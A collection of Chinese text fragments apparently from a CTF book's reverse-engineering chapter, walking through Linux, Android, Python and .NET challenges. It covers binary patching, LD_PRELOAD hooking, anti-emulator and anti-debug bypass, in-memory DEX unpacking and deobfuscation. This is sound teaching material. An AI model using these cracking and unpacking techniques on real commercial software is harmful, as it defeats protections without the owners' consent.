    {"text": "未知 2.2 Linux中的可执行程序 本节主要介绍Linux下的逆向工程题目，涉及加解密、反调试、系统调用分析等方面的知识。 读者可以通过这些题目，对Linux下的逆向工具形成初步的认知，并完成一些基础的逆向工作。"},
    {"text": "因为很多发行版Linux操作系统自带XZ工具，所以，可直接执行“xz -dk license_6bd767a60b4a0e768b6b0d4c08bd1752.xz”命令将文件解压。 认真的读者可能会发现，解压的文件后缀为“.xz”。 这个后缀是手动添加的（如果不添加此后缀，XZ工具会提示文件有无法识别的后缀）。"},
    {"text": "从以上代码中可以看出，程序需要读取一个名为“_a\\nb\\tc_”的密钥文件，但是，我们无法创建一个有相同文件名的文件，所以需要绕过此处。"},
    {"text": "因为文件名中的 \\n和 \\t是ASCII的控制字符，其表现形式是正斜杠加一个字母，而它们其实是长度为1位的ASCII字符，在磁盘中的存储值分别为“0A”和“09”，所以，这个文件名在磁盘上的存储值为0x5F610A6209635F。"},
    {"text": "另一种方法是在Linux操作系统中执行“hexdump -ve '1/1 \"%.2X\"' license | sed 's/5F610A6209635F/6B657966696C65/g'| xxd -r -p > license_patch”命令，进行搜索替换和保存新文件的操作（在这个命令中，一共使用了3个Linux自带的工具，工具的具体使用方法可以在Linux中执行man命令查看）。"},
    {"text": "从以上代码的if判断中可以知道，文件长度需要满足等式“44242_X^5 - 45235_X^4-1256_X^3 + 14392_X^2 - 59762*X - 1949670109068 = 0”。"},
    {"text": "在“v15 = (v6 - (v12 - 1))/ v12;”中，v6是需要文件满足的字节数34，v12是刚刚算出来的5，那么此等式中的v15就是6，即密钥文件每行内容的字节数。"},
    {"text": "由于我们得到的是文件内容的十六进制值，所以会遇到一个问题：在正常写文件时，可以将十六进制值转换为ASCII码的形式，然后利用文本编辑模式将ASCII码写入文件，而这些十六进制值中有很多是不可见字符，无法写入。 这个问题的解决方法就是利用二进制编辑工具直接将十六进制值写入（在Windows操作系统中，推荐使用WinHex；"},
    {"text": "以Linux操作系统为例，因为题目要求文件要有5行内容，所以，需要在前4行数据后添加一个换行符“0A”，这样，每行的长度为：6字节×5行+4个换行符=34字节。"},
    {"text": "完成拼接后，执行“echo 746C394755410A1D276E280F0D0A2F153A151D330A6867794778570A34 390634282E |xxd -r -p > keyfile”命令，即可得到最终的keyfile文件。"},
    {"text": "图2-23 题目2 从寄存器中取得flag 题目概况 本题的可执行文件会在选手输入的密码与程序产生的字符串（即flag）一致时输出计算得到的flag（题目来自9447 CTF）。"},
    {"text": "radare2是一款用于创建完整的、便携的和多架构的逆向工程的平台，但其与IDA相比仍有差距，所以，在解答本题时还是使用IDA来查看文件的main()函数，具体如下。"},
    {"text": "算法并不复杂，memcmp()函数会将我们的输入和程序自己产生的字符串进行比对，因此，可以使用C语言来实现程序产生字符串的过程，然后得到答案。"},
    {"text": "下面介绍两种方法，一种是使用GDB进行调试，另一种是使用IDA进行调试。 （1）使用GDB进行调试 GDB是一个基于命令行的调试工具，发行版Linux通常自带此工具。"},
    {"text": "通过前面的分析可知，本题的flag在if分支中的memcmp()函数执行之前就产生了，所以，如果断点设置在此处，就一定可以在寄存器中找到需要的内容。"},
    {"text": "在IDA中获得相应指令的代码，在代码旁边的空白处单击右键，在弹出的快捷菜单中选择“Copy to assembly”选项，就可以跳转到这句代码的汇编地址。"},
    {"text": "此时程序还没有开始运行，因此需要使用r命令让程序运行（但要注意，因为此程序需要我们传入一个参数，所以在这里使用r命令时也需要带一个参数）。"},
    {"text": "（2）使用IDA进行调试 IDA有Linux版本，我们可以在Linux中安装IDA后进行本机调试。 为了展现IDA功能的强大，笔者使用Windows版本的IDA对虚拟机中的Linux操作系统进行动态调试。"},
    {"text": "由于需要调试的程序所在的系统为64位Liunx，所以在此选择linux_serverx64。 将此程序和需要调试的程序复制到Liunx中，运行liunx_serverx64，如图2-28所示。"},
    {"text": "然后，选择“Debugger”菜单中的“Select Debugger”选项，打开如图2-29所示的对话框，进行设置。 图2-29 继续单击“Debugger”菜单中的“Process Options”选项，在弹出的对话框中填写真实的信息，如图2-30所示。"},
    {"text": "• S：执行一行程序代码，如果此行代码中有函数调用，则进入该函数，相当于其他调试器中的“Step Into”（单步跟踪进入）。 • N：执行一行程序代码，此行代码中的函数调用也一并执行，相当于其他调试器中的“Step Over”（单步跟踪）。"},
    {"text": "题目3 追踪运行库和系统调用 题目概况 本题的可执行文件运行后会把flag文件加密，产生flag.enc，选手需要从这个加密文件中恢复flag文件（题目来自ASIS Cyber Security Contest）。"},
    {"text": "有一点值得注意，那就是最后一个字节没有被异或，否则在利用counter+1对counter进行加密时就会产生溢出（从前面的反汇编代码中也能看出来）。"},
    {"text": "相关知识点 strace用于拦截和记录系统调用。 对用户来说，strace可以显示系统调用，以及传递给它们的参数和返回值。 strace可以附加到正在运行的进程中，或者启动一个新的进程。 作为一个针对开发者和系统管理员的诊断和调试工具，strace是很有用的。 此外，strace可以通过跟踪不同的程序调用来帮助用户了解系统。 ltrace可以跟踪和记录进程的动态（运行时）库的调用及收到的信号，也可以跟踪一个进程的系统调用。"},
    {"text": "• 程序会使用sub_80486BA()函数来检测一段内存的代码区中代码的校验和，其作用是检测是否通过调试器给程序添加了断点，或者程序是否进行过Patch操作。 • 将得到的校验和传入sub_80485E8()函数，然后利用此函数解密指定区域的代码。 • 对解密得到的代码进行校验和检测。"},
    {"text": "现在思路很清晰了：由于使用IDA等软件进行静态分析，很难得到解密后执行的代码的反汇编代码，所以，需要先使用动态调试方法获取此段代码，再进行分析。"},
    {"text": "• 第二种方法是使用LD_PRELOAD系统变量，在ELF文件调用其他动态库之前指定一个我们想让它调用的动态库来实现劫持，允许对此执行文件中的一些系统函数进行劫持（Hook），从而通过改变其行为来达到我们的目的。"},
    {"text": "因为这3个参数中的后两个在IDA中都能解析出来（是函数中的两个固定值），所以，我们先对这两个参数进行判断，如果判断条件成立，就将此代码段保存为当前目录下的Dump文件。"},
    {"text": "图2-32 在汇编代码中有很多int 0x80中断，此中断在Linux中表示由用户态切换为内核态。 每个int 0x80中断后面都有一个syscall，这就是Linux中所有系统调用的入口点。"},
    {"text": "例如，在“mov eax,0x18”指令中0x18==24==getuid，如果此调用返回0（root），则跳转到“mov eax,0x58”指令，此时有0x58==88==reboot（这就是使用普通用户身份和root用户身份分别执行程序时效果不同的原因）。"},
    {"text": "因为通过Dump操作得到的文件只是一段解密的代码，没有其他信息，所以，任何静态分析软件都无法很好地进行反汇编（只能帮助我们从汇编代码中找到一些信息，无法帮助我们得到最终的答案）。"},
    {"text": "（2）LD_PRELOAD环境变量 在UNIX/Linux的动态链接库中，LD_PRELOAD环境变量就是用来预先装载一些共享库或目标文件的。 而且，无论程序是否依赖这些共享库或文件，LD_PRELOAD指定的共享库或文件都会被装载，且在查找和执行时，其优先级比进程的共享库高。"},
    {"text": "未知 2.3 Android可执行程序 本节主要分析Android平台逆向工程方面的题目，涉及APK解包、脱壳、Java反编译分析、libc函数Hook、其他C运行库分析等。 题目1 反模拟器探测和APK反编译 题目概况 本题来自CUIT。"},
    {"text": "所以，还是在计算机中安装Android模拟器比较方便、经济。 Android虚拟机的种类非常多，笔者推荐使用Android SDK自带的模拟器（读者可以自行搜索，这里不再赘述）。 首先，在计算机中启动一个Android模拟器。 笔者在解答本题时使用的模拟器的配置为Android 5.1，CPU架构为ARM。"},
    {"text": "然后，利用adb工具（Android SDK中的一个工具，可以直接管理Android模拟器或真实的Android手机），切换到题目文件所在目录，执行“adb install Crackme001.apk”命令进行安装。"},
    {"text": "尽管模拟器可以正常安装，但单击图标进入时发生了闪退——难道adb在Android模拟器中不能运行？ 恰好笔者使用的就是Android手机，所以在真机上运行了一下，是可以正常显示的，猜测APK中有针对模拟器的检测代码。"},
    {"text": "因为Android程序是由Java层和Native层两部分组成的，Java层是使用Java语言开发的，而Java程序是可以被反编译的，所以，可以使用常见的Java反编译工具对APK进行处理。"},
    {"text": "找到onCreate()函数调用hasQEmuFiles()函数的位置，如图2-36所示。 图2-36 图2-36中用方框标出的部分用于判断hasQEmuFiles()函数的返回值。"},
    {"text": "if-eqz表示，如果其值为0（也就是hasQEmuFiles()函数的返回值为0），那么当前系统中就不存在这3个文件，也就不会执行killProcess()函数退出程序——这不就是爆破吗？"},
    {"text": "所以，我们将if-eqz改为其相反指令if-nez并保存，然后使用AndroidKiller的编译功能（该功能会自动完成APK编译等一系列过程，还会对APK进行签名）。"},
    {"text": "简单地说，就是将用户名作为DES.encode()的参数，算出密文，取密文的前6位和注册码进行比较，如果相同就显示注册成功，如果不同就返回。"},
    {"text": "第二种方法是，由于按钮单击事件已经调用了加密函数，也取出了密文的前6位，就等着和用户输入的注册码进行比较了，所以，可以在程序调用加密函数并取出密文的前6位但还没有和用户输入的内容进行比较时将程序得到的内容输出，关键代码是“if (paramView.getText().toString().equals(((String)localObject).toLowerCase(Locale.getDefault())))”。"},
    {"text": "AndroidKiller提供了Log和Toast这两个输出函数的Dalvik字节码，在图2-39中用两个箭头标出的代码行的中间位置单击右键，在弹出的快捷菜单中选择“插入代码”选项，然后选择“Toast”选项，即可插入一段Dalvik字节码。"},
    {"text": "这段代码默认输出“you message”，但我们需要的是变量v4的内容，因此，应去掉“const-string v0, \"you message\"”，并把“invoke-static {p0, v0, v1}”中的“v0”改为“v4”。"},
    {"text": "图2-41 相关知识点 APK是“Android Application Package”的缩写，即Android应用程序包。 实际上，APK就是一个ZIP压缩包，用解压工具将其打开就能看到文件结构。 APK的组成如下。"},
    {"text": "res文件夹中的资源文件在编译时会自动生成索引文件（R.java），在Java代码中用R.xxx.yyy来引用； asset文件夹中的资源文件不需要生成索引，在Java代码中用AssetManager来访问。"},
    {"text": "classes.dex是APK运行时代码，是由Java源代码编译成的可以在Dalvik虚拟机上运行的代码。 由于Dalvik虚拟机与Java虚拟机类似，所以，可以用类似Java的class文件的反编译方法，将classes.dex反编译为Java代码。"},
    {"text": "题目2 C运行库文件的逆向分析 题目概况 本题是一个小游戏，题目标题为“boomshakalaka”（来自0CTF），题目说明是“play the game, get the highest score”（试玩这个游戏，并拿到最高分）。"},
    {"text": "刚好笔者的计算机上安装了Android开发环境Android Studio（AS），其中有几个虚拟机（在AS中创建虚拟机时，会建议用户在x86架构的宿主机中创建使用x86镜像的Android虚拟机）。"},
    {"text": "通过上网搜索了解到，这个问题是某些应用使用了原生库（NDK，Native Lib）导致的：因为这些库的编译目标通常是ARM架构的CPU，所以在x86架构的Android上运行就会报告这样的错误。"},
    {"text": "在FirstTest.smali中单击右键，在弹出的快捷菜单中单击“查看”→“查看代码”命令，程序就会调用JD-GUI，将Smali代码转换为Java代码，具体如下。"},
    {"text": "Cocos2d是一个基于MIT许可协议的开源框架，用于构建游戏、应用程序和其他图形界面交互应用，可以帮助用户在创建自己的多平台游戏时节省时间。"},
    {"text": "在创建或更改SharedPreferences文件时，可以通过Context.getSharedPreferences(String fileName,int mode)方法打开一个XML文件（文件的位置为 /data/data/package_name/shared_prefs/fileName.xml）。"},
    {"text": "▫ 利用adb得到一个Android的Shell，然后通过Linux命令查看手机中的文件。 具体过程为：运行adb的Shell，得到一个Android的Shell，然后通过Linux的cd命令切换到 /data/data/com.example.plane/shared_prefs目录，最后利用文本输出命令cat将此目录中的XML文件打印到屏幕上。"},
    {"text": "“DDMS”的全称是“Dalvik Debug Monitor Service”，它是Android开发环境中的Dalvik虚拟机调试监控服务。 DDMS能够提供的服务包括测试设备截屏，以及针对特定进程查看正在运行的线程、堆信息、logcat、广播状态信息、模拟电话呼叫、接收SMS、虚拟地理坐标等。"},
    {"text": "对DATA节点的内容进行Base64解码，得到“0ctf{C0coS2d_AnDro1d_G?YoWs?”，这个结果接近flag的形式。 查看DATA节点的前4个字符，可以发现，“MGN0”是在主Activity里固定输入的，每次启动程序时都会输入，是“0ctf”的Base64编码。"},
    {"text": "游戏运行后，使其在没有得分的情况下暂停，初始化后，CocosdxPrefsfile.xml的内容均为字符串“MGN0ZntDMGNvUzJkX0FuRHJv”，解码后为“0ctf{C0coS2d_AnDro”。"},
    {"text": "通过CocosdxPrefsfile.xml的内容“MGN0ZntDMGNvUzJkX0FuRHJv...dz99”发现，除了起始字符串是固定字的，结尾字符串也是固定的，即“dz99”，猜测这是在游戏结束时写入的固定字符串。"},
    {"text": "使用AndroidKiller的工程搜索功能搜索关键字“Cocos2dxPrefsFile”，得到两个结果，分别是“FirstTest.smali”和“Cocos2dxHelper.smali”。 第一个文件是Activity所在的文件（前面已经分析过），下面分析一下Cocos2dxHelper.smali的Java代码。"},
    {"text": "图2-46 注意图2-46中用方框标出的部分，只有setStringForKey()函数可以向文件中写字符串，其他写入操作都是写入数值和布尔值，也就是说，这个函数就是我们要寻找的关键函数。"},
    {"text": "将该文件放入IDA，在“Function Name”中搜索关键字“setStringForKey”，确定其位置，如图2-47所示。 图2-47 图2-47中的阴影部分就是setStringForKey()函数的首地址。 单击该地址，然后按“X”键，就能列出所有调用此函数的位置，如图2-48所示。"},
    {"text": "通过多次尝试，将updateScore()函数中的所有分数从小到大排列，将对应的字符串组合在一起，得到的结果为“MWRfRzBtRV9Zb1VfS24w”。"},
    {"text": "图2-50 程序在Java层做的第一件事是，在onCreate()中调用init()时，先从资源中读取一个文件，再将这个文件的内容写入flag.txt，代码如下。 从第1行代码中可以看出，程序首先读取一个原始资源文件，这个资源文件一定要放在res/raw目录下且不会被平台编译，也就是说，res/raw目录下的文件将被打包放到APK中（接下来，我们会在本题的APK中寻找此资源文件）。 读取此资源文件的内容，然后将其写入flag.txt。"},
    {"text": "在单击按钮事件函数的处理过程中，先读取通过init()函数写入的flag.txt文件的内容，再与用户输入的内容进行比较，如果相同就显示“That's the flag!”。"},
    {"text": "CheckSig()函数应该是对签名进行判断，CheckStrace()函数最终调用了CheckPtrace()函数——我们重点讨论一下CheckPtrace()函数里发生了什么。"},
    {"text": "接触过Hook技术的读者应该知道，要想对某个函数进行Hook，就要在调用该函数之前接管该函数的控制权，将执行过程转到自己的流程中，然后在调用结束后将控制权归还。"},
    {"text": "在以上代码中有一个异或操作，猜测其目的是对读取的内容进行异或。 这个异或操作并不复杂，就是从unk_4818处取0x23个长度的内容，然后与猜测读取的内容进行异或。"},
    {"text": "一开始以为是软件出错了，但是，将后缀“.apk”改为“.zip”并打开，看到calsses.dex文件只有892字节，猜测APK应该做过DEX加固，代码都被隐藏了。"},
    {"text": "图2-54 很多Android脱壳教程都曾讲到，应在libdvm.so文件的dvmDexFileOpenPartial处设置断点，其原因是DEX文件经dexopt优化成ODEX时需调用dvmDexFileOpenPartial()函数。"},
    {"text": "由于不同的平台会有些许差异，所以，需要找到对应平台的libdvm.so文件中dvmDexFileOpenPartial()函数的偏移地址。 执行“adb pull /system/lib/libdvm.so”命令，将模拟器中的libdvm.so文件放入本机，然后使用IDA将其加载，在函数窗口搜索“dvmDexFileOpenPartial”。"},
    {"text": "使用IDA的动态调试功能将计算机中的android_server推送到模拟器中（此文件在IDA安装目录的dbgsrv文件夹下），执行“adb push android_server /data/local/tmp”命令，将文件放入手机。"},
    {"text": "如果使用的是真机，那么此时的连接将拥有Shell权限，所以，需要切换到root权限。 因为笔者是在模拟器中进行操作的，所以当前权限为root（切换root权限的命令为su）。"},
    {"text": "在cmd窗口输入命令“adb forward tcp:23946 tcp:23946”，用调试模式发送启动命令“intent adb shell am start -D -n 包名/类名 本题”，找到主Activity，即MainActivity。 然后，执行命令“adb shell am start -D -n com.ali.tg.testapp/com.ali.tg.testapp.MainActivity”，程序将会启动，弹出等待调试的对话框，如图2-57所示。"},
    {"text": "将该地址与我们之前记录的dvmDexFileOpenPartial()函数的偏移地址相加，得到0x40804378。 按“G”键，将此地址输入并跳转到此地址处，到达dvmDexFileOpenPartial()函数的位置，如图2-60所示。"},
    {"text": "在cmd窗口执行“adb forward tcp:8000 jdwp:1620”命令，然后，执行“jdb -connect com.sun.jdi.SocketAttach:host name=127.0.0.1, port=8700”命令。"},
    {"text": "由于该DEX文件是从内存中获取的，并不是APK中的DEX文件，而是经过优化的ODEX文件，所以，需要利用dexdecompile工具获取Java源代码，具体命令为“dexdecompile.exe f:\\dump.dex f:\\dump”。 这样，在F盘的dump文件夹中就有经过反编译的Java源代码了。"},
    {"text": "如果在Windows中安装Python后没有手动更改设置，那么计算机中的py文件和pyc文件都会被关联到python.exe，双击这两种文件时会自动调用python.exe。 在Linux中，为py文件添加可执行权限后即可通过双击来运行，而pyc文件在Linux中也可以利用命令“python *.pyc”来执行。 笔者使用的是Windows操作系统，双击运行此pyc文件即可，如图2-65所示。"},
    {"text": "我们输入的flag肯定是ASCII中的可显示字符，也就是说，肯定在ASCII码序号的前127个之中，所以，可以利用计算机的快速计算能力进行爆破。"},
    {"text": "相关知识点 下面介绍几种Python字节码文件的反编译方法。 （1）uncompyle2 uncompyle2是一种使用Python 2.7编写的工具，能够将Python字节码反编译为源代码。 uncompyle2支持Python 2.5～2.7版本的字节码反编译，但只能运行在Python 2.7中（下载地址见链接2-1）。 下载uncompyle2，执行“python setup.py install”命令进行安装。"},
    {"text": "Linux操作系统会在 /usr/local/bin目录下生成uncompyle2（可以直接使用）。 在Windows操作系统中，会在Python安装目录的Scripts目录下生成无后缀文件uncompyle2。"},
    {"text": "一种使用方法是直接调用uncompyle2，具体步骤为：反编译foo.pyc，将“uncompyle2 foo.pyc”输出到屏幕上。 如果要将反编译后的内容输出为文件，就需要添加参数 -o，然后指定输出目录，命令为“uncompyle2 -o c:\\ foo.pyc”。 这样，就会在C盘下生成反编译后的foo.pyc_dis文件。"},
    {"text": "（2）Decompyle++ Decompyle++是使用C++编写的Python反编译工具，它包含pycdas和pycdc两个工具，反编译速度非常快，支持Python的所有版本。"},
    {"text": "pycdas是一个字节码转换工具，类似于OllyDbg。 pycdc是一个用于将代码反汇编为源代码的程序，类似于IDA（下载地址见链接2-2）。"},
    {"text": "首先，执行“sudo apt get install cmake make”命令，安装CMake和Make工具。 然后，下载Decompyle++的源代码，进入源代码目录，运行“cmake .”命令，CMake会根据CMakeLists.txt生成Makefile文件。 执行make命令，就会在此目录中生成pycdc和pycdas。"},
    {"text": "解题思路 拿到题目文件后，发现EXE文件的图标非常眼熟。 因为笔者接触过PyInstaller，所以知道这是用PyInstaller将Python源代码转换为EXE程序后的默认图标，如图2-66所示。"},
    {"text": "尽管以上是闲谈，与解题关系不大，但仍然希望读者简单了解这种将Python源代码转换为EXE程序的技术，否则解答本题是有一点困难的。 图2-66 将Python源代码转换为EXE程序的具体原理，将在本题的“相关知识点”部分介绍。 不论采用哪种方法将Python源代码转换为EXE程序，其过程都是将Python解释器、Python程序代码、Python依赖库、本地lib库打包成一个体积相对较大的可执行程序。 由此看来，连Python解释器和Python程序代码都被打包了，也就是说，如果要执行EXE的功能，最终还是要调用Python环境来执行Python代码，而执行EXE就相当于在执行EXE的系统环境中安装了一个一次性的Python执行环境，然后执行包含在此EXE中的真正的Python代码。"},
    {"text": "解压的文件都存储在Reverse400.exe_extracted目录下，但没有找到“Reverse400”这样的文件名。 不过，找到了一个名为“Reversre03”的文件（这是因为我们拿到的EXE在生成之后名字被修改过，而解压的文件使用的是生成EXE时的名称）。"},
    {"text": "• pyc文件：有些公司或个人因为保密或某些原因，不希望源代码被运行者看到，就会使用pyc文件来发布程序。 pyc文件的内容通常是Python解释器可以识别的二进制码，故发布后也是跨平台的，需要使用者安装相应版本的Python环境和依赖库。"},
    {"text": "将Python源代码转换为可执行文件的方式，以及各系统平台支持的文件格式等，如图2-67所示。 前面提到过，在将Python源代码转换为可执行文件时，会同时打包很多东西。"},
    {"text": "（1）打包成一个文件夹 例如，要打包的文件为myscript.py。 首先，默认生成一个同名的文件夹myscript，这个文件夹包含脚本myscript.py的所有依赖库和一个可执行文件myscript（在Windows中为myscript.exe）。"},
    {"text": "（2）打包成一个单独的文件 执行“pyinstaller -F test.py”命令，依然会在当前目录下生成dist和build文件夹，以及一个test.spec文件。 看一下build文件夹：只生成了一个test.exe文件，大小为3321KB。"},
    {"text": "打开系统的临时文件夹，会看到一个名为“_MEI XXXXX”（“XXXXX”是一个随机的数字）的文件夹，其内容为“![](../img/python/reverse400/reverse400_4.png)”。"},
    {"text": "因为在执行EXE后，每次都要向临时目录释放EXE中的文件，一旦脚本中的代码全部执行，该临时目录就会被删除，所以，需要先中断程序的运行，再去查看已经被释放但还没有被删除的文件。"},
    {"text": "从打包后的文件夹中可以看出，向PyInstaller输入指定的脚本，分析脚本所依赖的第三方库，然后进行查找和复制，即可把所有相关的脚本收集起来（包括Python解析器和一些系统依赖库）并放在一个目录下，或者打包到一个可执行文件中。"},
    {"text": "在执行打包的脚本时，需要先启动一个启动器来调用Python解析器，再利用解析器去执行Python脚本（运行单个文件时，还有一个将打包的内容释放到临时目录中的过程），这可能会降低运行效率，而其好处是可以不用在用户的机器上安装Python环境及脚本所依赖的第三方库。"},
    {"text": "要想隐藏代码，一个很好的选择是利用Cython（用于将Python模块转换成机器语言）对模块进行编译，然后由PyInstaller根据import语句的指示导入经Cython编译的模块和包，从而起到一定的保护作用。"},
    {"text": "小结 本节介绍了PyInstaller的原理，其中有一点需要注意（这也是PyInstaller官方网站希望使用者注意的问题）：不要利用管理员权限运行由PyInstaller打包的文件，因为这一操作可能会被攻击者利用。"},
    {"text": "本题的pyc文件被修改了，这给反编译带来了一定的难度。 可以根据Python字节码的原理修复此pyc文件并尝试解题。 解题思路 我们知道，pyc文件是可以直接运行的（直接在Python环境中执行）。"},
    {"text": "操作码小于90的指令没有参数，指令仅包含操作码自身，共1字节； 操作码大于等于90的指令在操作码之后有1个参数，参数为2字节，指令共3字节。"},
    {"text": "这里的“栈”不是指函数调用栈，而是指专门用于求值的栈，可以称为求值栈（Evaluation Stack）或操作数栈（Operand Stack）。 在求值过程中，临时变量都放在求值栈上，通过指令集进行的大部分操作都要与栈打交道。"},
    {"text": "尽管本题pyc文件错误信息的生成过程和前面提到的3+4字节码相似，但是，本题的错误信息给出的并不是数字的操作，而是字符串的合并，形如Python代码中的“what is”+“your”+“name!”。"},
    {"text": "在正常使用LOAD_CONST指令将数据压入栈时，需要使用两个LOAD_CONST字节码将两个字符串压入栈，然后由一个BINARY_ADD指令将这两个字符串合并起来再压入栈。"},
    {"text": "而本题pyc文件的代码中有多个字符串，因此，需要先使用LOAD_CONST指令压入下一个字符串，再使用BINARY_ADD指令将现在栈顶的两个字符串合并，并依照此逻辑执行下去。 本题pyc文件中偏移量为0处的字节码是NOP指令，后续几条指令也和以上分析不一致，导致在反汇编时报错。"},
    {"text": "在这里使用一种偷懒的方式，因为NOP指令对应的字节码是0x09，LOAD_CONST指令对应的字节码是0x64，在错误的pyc文件中这两个指令是相邻的，所以，使用二进制编辑器搜索“0964”，就能找到错误字节码的具体位置。"},
    {"text": "使用WinHex打开Reverse500.pyc文件，然后使用软件自带的十六进制搜索功能搜索“0964”，在距离文件头不远处找到了需要的数据“![](../img/python/reverse500/reverse500_2.png)”。"},
    {"text": "图2-70 修改对应的二进制文件的内容，如图2-71所示。 图2-71 保存修改后的二进制文件，使用EasyPythonDecompiler对其进行反编译，结果还是失败了。"},
    {"text": "这些内容在报错信息中都有，只是在报错信息偏移量为0的位置多了4条指令，分别是NOP、LOAD_CONST、LOAD_CONST、NOP，而错误提示的内容就是偏移量为0的NOP指令出错。"},
    {"text": "通过查找资料发现，我们的想法没有错，字节码在都在“PyStringObject *co_code”这个结构中，而这个结构中只有TYPE_STRING byte、length long、data bytes三个字段。"},
    {"text": "保存二进制文件，使用EasyPythonDecompiler再次进行反编译。 让人兴奋的时刻到了——EasyPythonDecompiler提示“Decompile Success”，并在此目录下生成了反编译后的文件，如图2-76所示。"},
    {"text": "依次调用这些函数，最终在调用GetFlag4时找到了一个类似flag格式的字符串。 GetFlag4的输出结果如图2-77所示，可以看出，无序的内容夹杂着最终的flag。 flag为“flag:{NSCTF_md 576d958d8a8640dfe2ada4811aef59b26}”。"},
    {"text": "因为关键的字节码存在于PyStringObject类型的对象中，而这个对象就是在本节解题过程中需要了解的字段，所以，在这里分析一下此字段的结构，具体如下。"},
    {"text": "通过这段字节码可以看出，函数代码都在co_consts字段中，且每个函数的字节码都是一个PyCodeObject结构，这样就相当于进行了一次递归嵌套。 但是，因为如果有更多的函数或类等，那么它们会在顶层的co_consts字段中顺序排列，且最终用一个None来标识，所以，在这里只会嵌套一次。"},
    {"text": "这时就遇到了第一个问题：当使用WinRAR解压con.exe时，会提示con.exe已经存在，并询问是否需要替换，如图2-78所示。 图2-78 单击“是”按钮，仍然无法看到解压后的con.exe文件，且每次解压时都会弹出这个对话框。 改用7-Zip，可以正常解压，解压的con.exe将被重命名为“_con.exe”，且可以正常运行。"},
    {"text": "图2-79 程序说它加密了一幅图片，但是忘记了密码，需要选手将其恢复，那么压缩包中的文件decryptme.bmp.bkenc就应该是被加密的图片。"},
    {"text": "可以看出，程序需要我们输入两个文件（一个是需要加密的原始文件，另一个是54字节的key文件），然后调用Encryption.encrypt()函数进行加密操作。 跟踪Encryption.encrypt()函数，它的声明为“public static extern void encrypt(byte[] file,int length, byte[] key, int keylen)”。"},
    {"text": "该函数是从cryptdll.dll中引入的，这个文件就是题目提供的第三个文件。 使用IDA加载cryptdll.dll，然后查看该函数的反汇编代码，具体如下。"},
    {"text": "继续向下看，在进入do…while循环时，使用由以上Python代码中的加密算法计算得到的key值和读取的文件进行异或加密，当此轮异或加密的结果达到key的长度后，就会根据key调用sub_10001270()函数，并产生一个新的key。"},
    {"text": "这样看来，解密工作不能出现任何差错——由于所有的加密过程都需要使用原来的key值，所以，哪怕解密工作有一点差错，都无法得到最终的结果。"},
    {"text": "因为我们手里有经过加密的文件decryptme.bmp.bkenc，且已经知道异或后的54字节的内容，所以，如果再知道原始文件的54字节的内容，就能得到原来的key了。"},
    {"text": "这个字段的值和decryptme.bmp.bkenc的大小一样，单击右键，在弹出的快捷菜单中选择“属性”选项，就可以在打开的对话框中看到文件大小为1440054字节。"},
    {"text": "本题BPM图像的大小为1440000字节，而在BMP图像中每3字节表示一个像素，所以，本题BMP图像中共有480000个像素（通过图像的宽和高相乘得到）。"},
    {"text": "通过以上代码得到的key值里面有很多乱码，其中只有几个是可显示字符：由768像素×625像素得到的key值为djkfah8Fh2389jksdhFsDHocKLf894hlasdfhalsdf789h4JKASDHF； 由800像素×600像素得到的key值为djkfah8Fh2389jksdhfSDHFJKLf894hlasdfhalsdf789h4J KASDHF。"},
    {"text": "因为con.exe需要将key值写入文件，所以分别将这两个值写入，然后按照con.exe的提示进行输入，可知800像素×600像素的key值是正确的，解密后文件的后缀为“.bkenc”。"},
    {"text": "其实，本题的程序就是一个可执行文件，也可以叫作程序集（.exe文件）。 需要注意的是，并非所有的EXE文件都可以称作程序集，由MSIL组成的文件才能称作程序集。"},
    {"text": "当程序执行时，MSIL（程序集）将被CLR（和Java虚拟机一样是一个运行时环境，负责资源管理工作，并保证在应用和底层操作系统之间进行必要的分离）翻译成相应平台的CPU指令，然后交给CPU执行。"},
    {"text": ".NET支持多种编程语言，所有的编程语言编写的代码最终都将交给CLR来执行，因此，.NET是“语言无关”的。 微软推出的可用于 .NET程序开发的语言有VB.NET、J#、C#、F#。"},
    {"text": "题目2 .NET程序的反混淆和调试分析 题目概况 题目标题为“bikinibonanza”（来自CSAWQual），内容如下。 题目的 .NET程序经过混淆，反编译后的分析难度较大，需要选手使用de4dot进行反混淆，然后使用dnSpy进行调试。"},
    {"text": "图2-84 可以看出，尽管de4dot加载了21种反混淆模块，但仍然显示“Detected Unknown Obfuscator”，说明无法检测这个程序集是用什么方式进行混淆的。"},
    {"text": "因为本题程序的界面上只有一个按钮，而根据常识可知，验证流程一定在此按钮的事件中，所以，可以在控件初始化代码中找到与按钮有关的内容，具体如下。"},
    {"text": "界面上有一个“启动”按钮，设置断点后单击该按钮即可运行程序。 第一次单击该按钮时会弹出一个设置对话框，需要填写程序路径和工作目录，最重要的是要设置断点（在这里选择“默认的某块的静态构造函数或入口点”选项即可）。"},
    {"text": "再次正常启动程序，将strB的值输入并提交，在本题程序的界面上将显示最终的flag，如图2-88所示。 图2-88 笔者通过对其他程序的逆向发现：采取解答本题时使用的方法，分析并提取字符串的加密代码，然后将其写出，也可以得到flag。"},
    {"text": "既然所有的加密代码都已经拿到了，而且拿到的都是C#代码，我们就可以新建一个C#工程，将上述代码复制进去，少量修改内容，从而得到flag了。"},
    {"text": "最简单的混淆是名称混淆，即将命名空间名、类名、方法名、字段名等统统换成特殊符号或其他符号，以切断显示名称与实际名称的关联，示例代码如下。"},
    {"text": "我们可以在程序开发过程中使用名称混淆，但很可惜，它起不了太大的作用，它的强度不足以挡住想得到我们的源代码或侵害我们的知识产权的人。"},
    {"text": "如何对流程混淆进行反混淆？ 因为在进行流程混淆时会将程序分段，使用JMP指令强行跳转，所以，可以对照被混淆的代码，根据程序的逻辑关系把语句拿出来并重新组合。"},
